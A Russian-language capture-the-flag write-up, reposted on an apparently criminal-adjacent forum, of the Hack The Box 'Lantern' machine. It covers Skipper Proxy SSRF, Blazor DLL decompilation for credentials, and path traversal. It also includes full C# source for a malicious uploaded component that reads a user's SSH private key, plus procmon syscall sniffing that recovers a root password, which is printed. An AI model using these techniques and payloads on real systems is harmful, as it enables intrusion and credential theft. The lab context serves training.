• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Ломаем сайт на CMS Blazor

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,182
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как регистрировать системные вызовы в Linux, что поможет нам перехватить данные пользователя. Но на пути к системе нам понадобится заюзать SSRF на сайте через X-Skipper-Proxy и установить свой модуль в CMS Blazor.
Наша цель — получение прав суперпользователя на машине Lantern с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.29 lantern.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).


Результат работы скрипта
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Skipper Proxy;
  • 3000 — веб‑сервер Kestrel.
Сразу видим, что на сервере установлен Skipper Proxy — прокси‑сервер и HTTP-роутер, написанный на Go. Он маршрутизирует HTTP-запросы на основе разных правил и настроек.

Главная страница сайта

Точка входа​

На сайте на 80-м порте находим интересную информацию о команде разработчиков. Можно сделать выводы об используемых технологиях.

Описание вакансий
Также находим форму отправки резюме.



Форма отправки файла
На порте 3000 нас встречает форма авторизации.



Форма авторизации
Если просмотреть историю запросов в Burp History, заметим много запросов, типичных для CMS Для просмотра ссылки Войди или Зарегистрируйся. С этой системой я уже сталкивался, когда писал райтап по Для просмотра ссылки Войди или Зарегистрируйся.



Burp History
Осмотрев сайты, углубимся в изучение найденных продуктов. У нас есть Skipper Proxy и Blazor, начнем с первого. Сначала стоит проверить, есть ли для обнаруженной версии CMS актуальные эксплоиты.



Поиск эксплоитов в Google
Из Google узнаём, что Skipper Proxy 0.13.237 уязвим к Для просмотра ссылки Войди или Зарегистрируйся. Как сказано в Для просмотра ссылки Войди или Зарегистрируйся, можно эксплуатировать SSRF для доступа к внутренним ресурсам, просто указав адрес ресурса в заголовке X-Skipper-Proxy.

Описание эксплоита
Перейдем в Burp Repeater и добавим заголовок X-Skipper-Proxy: Для просмотра ссылки Войди или Зарегистрируйся.

Эксплуатация SSRF
Сервер отдаст нам содержимое сайта на порте 3000, что подтверждает наличие уязвимости.


Точка опоры​

Перенаправляем запрос в Burp Repeater для перебора портов через SSRF. Так мы сможем узнать о работающих внутренних сервисах.



Burp Repeater — вкладка Positions



Burp Repeater — вкладка Payloads
Сортируем результаты сканирования по коду ответа и получаем четыре открытых порта для адреса 127.0.0.1.

Результаты сканирования
Порт 5000 отвечает за технологию Blazor, а значит, через SSRF мы можем получить доступ к файлу /_framework/blazor.boot.json, который содержит информацию обо всех загружаемых сборках.

Содержимое файла blazor.boot.json

Из всех сборок наиболее интересна кастомная библиотека InternaLantern.dll, в которой, видимо, и реализованы основные возможности. Нам нужно ее скачать, и для этого обратимся к файлу через специальный прокси. Для этого в контекстном меню переходим к Request in browser → In current browser session.



Запрос в Burp Repeater
Получаем ссылку, по которой нужно перейти в браузере Burp. В результате получаем скачанную библиотеку.



Ссылка на страницу


Скачанный DLL-файл
Так как библиотека написана на C#, мы можем декомпилировать исходный код для анализа. В этом нам поможет бесплатная утилита Для просмотра ссылки Войди или Зарегистрируйся. В исходном коде среди перечисления данных о пользователях находим длинные строки в Base64.

Исходный код InternaLantern.Pages
При декодировании первой строки получаем данные пользователя, в том числе и описание.



Результат декодирования Base64
Декодируем все строки из файла и получаем пароль пользователя admin.



Данные пользователей
С этими учетными данными заходим на основной сайт.

Главная страница сайта

Продвижение​

Можно загружать на сайт файлы, а также смотреть содержимое каталогов и файлов.



Форма загрузки файлов

Структура файлов
Просмотрим основной файл app.py. Мое внимание привлек эндпоинт /PrivacyAndPolicy, который принимает параметры lang и ext и использует их в формировании пути без какой‑либо фильтрации (строки 38–45).



Содержимое файла app.py
То есть на сервере есть уязвимость, позволяющая получить содержимое произвольного файла. Для проверки получим содержимое файла /etc/passwd.

Для просмотра ссылки Войди или Зарегистрируйся

Содержимое файла /etc/passwd
Раскрутить эту уязвимость не вышло, поэтому я обратил внимание на функцию использования модулей. Если изменить стандартный модуль Logs на любой произвольный, то получим ошибку, раскрывающую путь к компонентам.



Ошибка загрузки модуля
Получается, что, если загрузить в каталог свой модуль, его можно будет подключить в программу. Отловим запрос на загрузку файла evil.dll в Burp Proxy.

Burp Proxy — запрос на сервер

Данные передаются в сериализованном виде, поэтому просто изменить их не получится. Для десериализации и сериализации данных будем использовать расширение Для просмотра ссылки Войди или Зарегистрируйся.

Установка расширения Blazor Traffic Processor
Имя загружаемого файла передается в параметре name. Сделаем свой компонент и повторим загрузку. Для этого сперва создадим проект.

Код:
mkdir evil
cd evil
dotnet new classlib -n exploit


Создание проекта
Теперь перейдем к файлу Class1.cs внутри проекта и изменим код. Наш модуль будет считывать и выводить на страницу приватный ключ пользователя tomas (о нем узнали из файла /etc/passwd).

Код:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace exploit;
public class Component : ComponentBase
{
    protected override void BuildRenderTree(RenderTreeBuilder builder)
    {
        base.BuildRenderTree(builder);
        string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
        builder.AddContent(0, file);
    }
}
Осталось добавить необходимые компоненты AspNetCore и собрать нашу DLL.

Код:
cd exploit
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
dotnet build -c release



Релиз проекта
Повторяем загрузку файла, на моменте десериализации данных изменяем путь загрузки файла и выполняем повторную сериализацию.

Сериализация данных
Применяем сериализованные данные в Burp Proxy и отправляем остановленный ранее запрос. Файл успешно загружен по указанному пути.



Результат загрузки файла
Переходим к панели администратора и указываем имя модуля. В ответе сервера получаем приватный SSH-ключ пользователя.



SSH-ключ
С этим ключом авторизуемся по SSH и читаем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Первое, что мы проверяем на машине с Linux, — есть ли у нас возможность выполнить команды через sudo.

sudo -l


Настройки sudoers

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Судя по содержимому файла sudoers, мы можем выполнить команду /usr/bin/procmon в привилегированном контексте без ввода пароля. Проверим тип файла /usr/bin/procmon и узнаем, что это исполняемый ELF.

file /usr/bin/procmon
Проверка файла procmon
Справка дает понять, что это аналог Process Monitor для Windows, только в Linux.



Справка procmon
Таким образом, запуская приложение через sudo, мы можем просматривать системные вызовы (параметр -e) для любого процесса на хосте. Давай выберем процесс для отслеживания. Меня заинтересовал nano /root/automation.sh.



Список процессов
Процесс постоянно завершается и запускается заново, поэтому его PID меняется. Запустим procmon и укажем ему, что нужно собирать системный вызов write у процесса с PID 909 и сохранять лог в базу данных db.db.

sudo /usr/bin/procmon -e write -p 909 -c db.db
Отслеживание процесса через procmon

Минуты через две завершаем программу и забираем базу данных на свой хост для анализа.



Логи после завершения procmon
Сразу обращаем внимание, что встречаются вызовы с большой задержкой (duration) и перехваченные данные немного отличаются.

Данные вызова с малой задержкой Данные вызова с большой задержкой

Я написал SQL-запрос, который извлекает из каждого вызова с большой задержкой (duration > 100000000) девятый символ. Позже запрос подкорректировал, так как девятым может идти пробел, в этом случае будем брать десятый.

Код:
SELECT GROUP_CONCAT(
    CASE
    WHEN hex(substr(arguments, 9, 1)) = '20' THEN substr(arguments, 10, 1)
    ELSE substr(arguments, 9, 1)
    END,'') as data
FROM ebpf where duration > 100000000;

Результат выполнения запроса

И получаем введенный в nano текст: echo Q3Eddtdw3pMB | sudo ./backup.sh. У нас есть пароль рута, и ничто не мешает забрать последний флаг.

Флаг рута
Машина захвачена!
 
Activity
So far there's no one here